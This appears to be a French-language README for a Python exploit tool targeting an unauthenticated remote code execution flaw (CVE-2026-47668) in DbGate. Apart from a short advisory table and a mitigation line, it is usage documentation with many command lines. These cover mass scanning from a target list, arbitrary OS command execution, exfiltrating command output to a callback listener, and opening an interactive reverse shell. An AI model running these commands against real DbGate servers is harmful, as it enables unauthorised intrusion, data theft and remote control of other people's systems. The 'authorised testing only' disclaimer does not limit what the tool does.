
Exécution de code à distance non authentifiée DbGate
RCE non authentifié dans le DbGate JSON Script Runner (dbgate-serve ≤ 7.1.8).
Outil d'évaluation : CVE-2026-47668.py — tests autorisés uniquement.
| CVE | CVE-2026-47668 |
| Severité | Critique |
| Produit | DbGate / dbgate-serve |
| Affecté | ≤ 7.1.8 |
| Corrigé | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
Titre : Exécution de code à distance non authentifiée DbGate via JSON Script Runner
Les champs contrôlés par l'utilisateur (functionName, variableName) sont intégrés dans du JavaScript généré dynamiquement sans validation appropriée. Un attaquant peut exécuter du code arbitraire dans le processus enfant du runner Node.js.
| Élément | Détail |
|---|---|
| Point d'accès | POST /runners/start |
| Authentification | Jeton Bearer requis ; le jeton peut être obtenu via POST /auth/login sur les déploiements anonymes/par défaut |
| Injection | functionName, variableName dans les commandes JSON assign |
| Impact | Exécution de commandes OS en tant qu'utilisateur du processus DbGate |
Atténuation : Mettez à jour vers 7.1.9+. Restreignez l'accès réseau, désactivez l'authentification anonyme, renouvelez les identifiants, examinez les journaux pour toute activité suspecte sur /runners/start.
Telegram : @KNxploited
CVE-2026-47668.py vérifie et valide l'exploitation contre les instances DbGate que vous êtes autorisé à tester.
Modes
| Mode | Shell inversé | Description |
|---|---|---|
| AUTO | Non | Une invite ; jeton + callback HTTP + valeurs par défaut |
| CLI | Optionnel | Contrôle total via les drapeaux |
| Mass | Non | Analyse depuis targets.txt |
--reverse-shell | Oui | Vérification TCP optionnelle (cible unique uniquement) |
Résultats
| Résultat | Signification |
|---|---|
| FAIL | Inaccessible, échec d'authentification ou non vulnérable |
| VULN | Runner a accepté la sonde uniquement |
| DISPATCH | Charge utile envoyée ; aucune sortie confirmée |
| EXFIL | Callback reçu — sortie de commande confirmée |
| REVSH | TCP inversé connecté (mode optionnel uniquement) |
Répertoire de sortie : Nx/ (vuln, dispatch, exfil, failed, list_report, fichiers par cible sous exfil/)
pip install -r requirements.txt
Nécessite : Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| Entrée à l'invite | Exemple |
|---|---|
| URL unique | http://192.168.1.10:3000 |
| URL + commande | `http://192.168.1.10:3000 |
| Liste de cibles | targets.txt |
Chaque exécution CLI doit inclure --cli.
python CVE-2026-47668.py --cli [options]
-u / --url — URL de base de la cible
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — commande shell (par défaut : id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — sonde de vulnérabilité uniquement (pas de commande)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — vecteur d'injection : functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — port par défaut lorsque l'URL n'a pas de port (par défaut : 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — utiliser un jeton Bearer existant
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — corps de connexion personnalisé (par défaut : {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — délai d'attente HTTP en secondes
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — vérifier les certificats TLS
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd)--callback-host — IP/nom d'hôte que la cible utilise pour atteindre votre écouteur
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — liaison locale pour l'écouteur HTTP (par défaut : 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — port d'exfil HTTP (par défaut : 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — URL de callback externe (désactive l'écouteur intégré)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — secondes d'attente pour le callback (cible unique, par défaut : 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — envoyer la sortie sans encodage base64
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — exec asynchrone au lieu de execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — fichier de liste de cibles
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — workers concurrents (par défaut : 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — attente de callback par cible en mode masse (par défaut : 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
Masse + port par défaut personnalisé
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
Non requis pour les tests normaux. Utilisez HTTP exfil (--cmd) comme preuve.
--reverse-shell — la cible se connecte à LHOST:LPORT (omettre la valeur = IP LAN + port 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — port lorsque --reverse-shell n'a pas de :port
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — adresse d'écoute locale
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — attente TCP (par défaut : 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — relais stdin/stdout de base après connexion
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive